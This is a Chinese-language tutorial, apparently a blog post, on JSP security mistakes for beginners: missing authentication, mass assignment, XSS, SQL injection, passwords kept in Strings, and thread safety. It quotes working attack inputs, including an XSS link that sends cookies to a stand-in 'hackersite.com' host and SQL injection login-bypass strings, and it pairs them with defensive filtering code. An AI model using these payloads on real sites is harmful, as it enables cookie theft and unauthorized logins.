Java Server Page(JSP)作為建立動態網頁的技術正在不斷升溫。 JSP和ASP、PHP、工作機轉不太一樣。一般說來,JSP頁面在執行時是編譯式,而不是解釋式的。首次呼叫JSP檔其實是執行一個編譯成Servlet的過程。當瀏覽器向伺服器請求這一個JSP檔案的時候,伺服器會檢查自上次編譯後JSP檔案是否有改變,如果沒有改變,就直接執行Servlet,不用再重新編譯,這樣,效率便得到了明顯提高。
今天我將和大家一起從腳本編程的角度看JSP的安全,那些諸如源碼暴露類的安全隱患就不在這篇文章討論範圍之內了。寫這篇文章的主要目的是給初學JSP程式設計的朋友們提個醒,從一開始就要培養安全程式設計的意識,不要犯不該犯的錯誤,避免可以避免的損失。另外,我也是初學者,如有錯誤或其它意見請發帖賜教。
一、認證不嚴-低階失誤
在溢洋論壇v1.12 修正版中,
user_manager.jsp是使用者管理的頁面,作者知道它的敏感性,加上了一把鎖:
if ((session.getValue( "UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("系統管理員")))
{
response.sendRedirect("err.jsp?id=14");
return;
}
如果要查看、修改某位使用者的信息,就要用modifyuser_manager.jsp這個檔。管理員提交
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
就是檢視、修改ID為51的使用者的資料(管理員預設的使用者ID為51)。但是,如此重要的文件竟缺乏認證,一般使用者(包括遊客)也直接提交上述請求也可以對其一覽無餘(密碼也是明文儲存、顯示的)。 modifyuser_manage.jsp同樣是門戶大開,直到惡意使用者把資料更新的操作執行完畢,重定向到user_manager.jsp的時候,他才會看見那個姍姍來遲的顯示錯誤的頁面。顯然,只鎖一扇門是遠遠不夠的,程式設計的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證。
二、守好JavaBean的入口
JSP元件技術的核心是被稱為bean的java元件。在程式中可把邏輯控制、資料庫操作放在javabeans元件中,然後在JSP檔案中呼叫它,這樣可增加程式的清晰度及程式的可重用性。和傳統的ASP或PHP頁面相比,JSP頁面是非常簡潔的,因為許多動態頁面處理過程可以封裝到JavaBean中。
要改變JavaBean屬性,要用到「<jsp:setProperty>」標記。
下面的程式碼是假想的某電子購物系統的原始碼的一部分,這個檔案是用來顯示使用者的購物框中的資訊的,而checkout.jsp是用來結帳的。
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>Your Basket</title></head>
<body>
<p>
You have added the item
<jsp::getProperty name="myBasket" property="newItem"/>
to your basket.
<br/>
Your total is $
<jsp::getProperty name="myBasket" property="balance"/>
Proceed to <a href="checkout.jsp">checkout</a>
注意到property="*"了嗎?這表示使用者在可見的JSP頁面中輸入的,或是直接透過Query String提交的全部變數的值,將儲存到符合的bean屬性。
一般,使用者是這樣提交請求的:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
但是不守規矩的使用者呢?他們可能會提交:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
這樣,balance=0的資訊就被儲存到了JavaBean中。當他們這時點擊「chekout」結帳的時候,費用就全免了。
這與PHP中全域變數導致的安全性問題如出一轍。由此可見:「property="*"」一定要慎用!
三、長盛不衰的跨站腳本
跨站腳本(Cross Site Scripting)攻擊是指在遠端WEB頁面的HTML程式碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等腳本,竊取瀏覽此頁面的用戶的隱私,改變用戶的設置,破壞用戶的資料。跨站腳本攻擊在多數情況下不會對伺服器和WEB程式的運作造成影響,但對客戶端的安全構成嚴重的威脅。
以仿網的阿菜論壇(beta-1)舉個最簡單的例子。當我們提交
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>
便能彈出包含自己cookie資訊的對話框。而提交
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>
就能重定向到網易。
由於在傳回「name」變數的值給客戶端時,腳本沒有進行任何編碼或過濾惡意程式碼,當使用者存取嵌入惡意「name」變數資料連結時,會導致腳本程式碼在使用者瀏覽器上執行,可能導致用戶隱私外洩等後果。例如下面的連結:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?'+document .cookie</script>
xxx.xxx用於收集後邊跟的參數,而這裡參數指定的是document.cookie,也就是存取此連結的使用者的cookie。在ASP世界中,很多人已經把偷cookie的技術練得爐火純青了。在JSP裡,讀取cookie也不是難事。當然,跨站腳本從來就不會侷限於偷cookie這項功能,相信大家都有一定了解,這裡就不展開了。
對所有動態頁面的輸入和輸出都應進行編碼,可以在很大程度上避免跨站腳本的攻擊。遺憾的是,對所有不可信資料編碼是資源密集的工作,會對Web 伺服器產生效能方面的影響。常用的手段還是進行輸入資料的過濾,例如下面的程式碼就把危險的字元進行替換:
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace (''','_');
message = message.replace ('%','_'); [轉自:51item.net]
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %>
較正面的方式是利用正規表示式只允許輸入指定的字元:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
else return false;
}
四、時時牢記SQL注入
一般的程式設計書籍在教導初學者的時候都不注意讓他們從入門時就培養安全程式設計的習慣。著名的《JSP程式設計思想與實踐》就是這樣向初學者示範編寫帶有資料庫的登入系統的(資料庫為MySQL):
Statement stmt = conn.createStatement();
String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
response.sendRedirect("SuccessLogin.jsp");
else
response.sendRedirect("FailureLogin.jsp");
這樣使得盡信書的人長期使用這樣先天「帶洞」的登入代碼。如果資料庫裡存在一個名叫「jack」的用戶,那麼在不知道密碼的情況下至少有以下幾種方法可以登入:
用戶名:jack
密碼:' 或 'a'='a
使用者名稱:jack
密碼:' 或 1=1/*
使用者名稱:jack' 或 1=1/*
密碼:(任意)
lybbs(凌雲論壇)ver 2.9.Server在LogInOut.java中是這樣對登入提交的資料進行檢查的:
if(s.equals("") ││ s1.equals(""))
throw new UserException("使用者名稱或密碼不能空。");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf(" \") != -1)
throw new UserException("使用者名稱不能包括' " \ , 等非法字元。");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
throw new UserException("密碼不能包括' " \ * 等非法字元。");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("用戶名或密碼中不能用空格。");
但是我不清楚為什麼他只對密碼而不對用戶名過濾星號。另外,正斜線似乎也應該被列到「黑名單」中。我還是認為用正規表示式只允許輸入指定範圍內的字元來得乾脆。
這裡要提醒一句:不要以為可以憑藉某些資料庫系統天生的「安全性」就可以有效地抵禦所有的攻擊。 pinkeyes的那篇《PHP注入實例》就給那些依賴PHP的設定檔中的「magic_quotes_gpc = On」的人上了一課。
五、String物件帶來的隱患
Java平台的確使安全程式設計更加方便了。 Java中無指針,這意味著Java 程式不再像C一樣能對位址空間中的任意記憶體位置尋址了。在JSP檔案被編譯成.class 檔案時會被檢查安全性問題,例如當存取超出陣列大小的陣列元素的嘗試將被拒絕,這在很大程度上避免了緩衝區溢位攻擊。但是,String物件會帶給我們一些安全上的隱憂。如果密碼是儲存在Java String 物件中的,直到對它進行垃圾收集或程序終止之前,密碼會一直駐留在記憶體中。即使進行了垃圾收集,它仍會存在於空閒記憶體堆中,直到重複使用該記憶體空間。密碼String 在記憶體中駐留越久,遭到竊聽的危險性就越大。更糟的是,如果實際記憶體減少,則作業系統會將這個密碼String 換頁調度到磁碟的交換空間,因此容易遭受磁碟區塊竊聽攻擊。為了將這種洩密的可能性降至最低(但不是消除),您應該將密碼儲存在char 陣列中,並在使用後將其置零(String 是不可變的,無法對其置零)。
六、線程安全初探
「JAVA能做的,JSP就能做」。與ASP、PHP等腳本語言不一樣,JSP預設是以多執行緒方式執行的。以多執行緒方式執行可大幅降低對系統的資源需求,提高系統的並發量及回應時間。執行緒在程式中是獨立的、並發的執行路徑,每個執行緒都有它自己的堆疊、自己的程式計數器和自己的局部變數。雖然多執行緒應用程式中的大多數操作都可以並行進行,但也有某些操作(如更新全域標誌或處理共用檔案)不能並行進行。如果沒做好線程的同步,在大並發量訪問時,不需要惡意用戶的“熱心參與”,問題也會出現。最簡單的解決方案就是在相關的JSP檔案中加上: <%@ page isThreadSafe="false" %>指令,使它以單執行緒方式執行,這時,所有客戶端的請求以串列方式執行。這樣會嚴重降低系統的效能。我們可以仍讓JSP檔案以多執行緒方式執行,透過對函數上鎖來對執行緒進行同步。一個函數加上synchronized 關鍵字就獲得了一個鎖定。看下面的範例:
public class MyClass{
int a;
public Init() {//此方法可以在多個執行緒同時呼叫a = 0;
}
public synchronized void Set() {//兩個執行緒不能同時呼叫此方法if(a>5) {
a= a-5;
}
}
}
但是這樣仍然會對系統的效能有一定影響。一個更好的方案是採用局部變數來代替實例變數。因為實例變數是在堆中分配的,被屬於該實例的所有執行緒共享,不是執行緒安全的,而局部變數在堆疊中分配,因為每個執行緒都有它自己的堆疊空間,所以這樣執行緒就是安全的了。例如凌雲論壇中新增好友的程式碼:
public void addFriend(int i, String s, String s1)
throws DBConnectException
{
try
{
if…
else
{
DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.close();
dbconnect = null;
}
}
catch(Exception exception)
{
throw new DBConnectException(exception.getMessage());
}
}
下面是呼叫:
friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
如果採用的是實例變量,那麼該實例變量屬於該實例的所有線程共享,就有可能出現用戶A傳遞了某個參數後他的線程轉為睡眠狀態,而參數被用戶B無意間修改,造成好友錯配的現象。